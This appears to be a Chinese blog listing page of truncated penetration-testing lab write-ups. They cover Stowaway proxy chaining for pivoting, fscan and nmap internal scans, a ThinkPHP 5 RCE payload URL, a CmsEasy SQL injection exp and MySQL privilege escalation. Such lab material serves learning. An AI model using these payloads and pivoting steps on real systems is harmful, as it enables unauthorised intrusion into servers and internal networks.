如何组成多级代理？ 假设现在有三层内网 kali作为admin端 admin端: ./stowaway_admin -l 9999 -s 123 #admin端监听9999端口，连接密码为123 先拿下**（web）**192.168.139.222的入口机器的webshell，把它作为agent-1端 agent-1端: ./stowaway_a…

入口39.98.113.110 ./fscan_mac_arm64 -h 39.98.109.164 -p 1-65535 ___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | …

第一台机器（172.20.56.32、172.20.57.30） 一个thinkphp框架 用工具梭哈， [+] 存在ThinkPHP 5.0.22/5.1.29 RCE http://172.20.56.32//?s=/index/\think\app/invokefunction&function=call_user_func_arra…

./fscan_mac_arm64 -h 172.3.3.13/24 ___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|…

第一台机器（172.5.33.6、10.6.6.10） 是个cmseasy网站，找nday nday：https://www.saury.net/919.html 前台sql sql的exp /?case=crossall&act=execsql&sql=Ud-ZGLMFKBOhqavNJNK5WRCu9igJtYN1rVCO8hM…

192.168.10.10/192.168.20.10 给了个ip 192.168.10.10 扫c段 ./fscan_mac_arm64 -h 192.168.10.10/24 ___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_…

给了个ip访问不成功 第一台机器（192.168.10.10:3590) namp扫10网段 nmap -sS --min-rate 10000 -f 192.168.10.0/24 -oN lab3.txt -sS:SYN 扫描（半开放扫描）。发送 SYN 包到目标端口，若收到 SYN/ACK 回复则认为端口开放，不完成 TCP 三次握手（直接发…

给了个ip 点进去后，192.168.10.10竟然访问不了 先用fscan扫10网段 发现10这台机子的808端口有http服务 第一台机器（192.168.10.10:808) 是个骑士CMS的网站 网上找该类型网站的poc， 得到后台地址 /index.php?m=admin&c=index&a=login 给了个登录框 用b…

场景介绍： 难度：简单 本次小李的任务是攻克192.168.10.0/24网段的所有主机，刚开始挺顺利，但深入后发现里面的情况远比想象的复杂。 信息收集 1、fscan扫C段，发现10网段有两台存活主机，且10主机存在thinkphp漏洞 第一台机器（192.168.10.10） thinkphp工具一把梭 写马进行getshell 蚁剑连接 根目…

前三篇解决的是"把数据读出来"。这一篇解决"从读数据到执行命令、拿服务器"。 能读数据不等于能执行命令，中间隔着好几道门：数据库账号的权限、操作系统对数据库进程的约束、文件系统的写权限。这一篇把每条路的前提条件写清楚，重点是失败了怎么判断卡在哪一道门上。 一、MySQL 提权的几条路 先把全局理一遍，每条路的…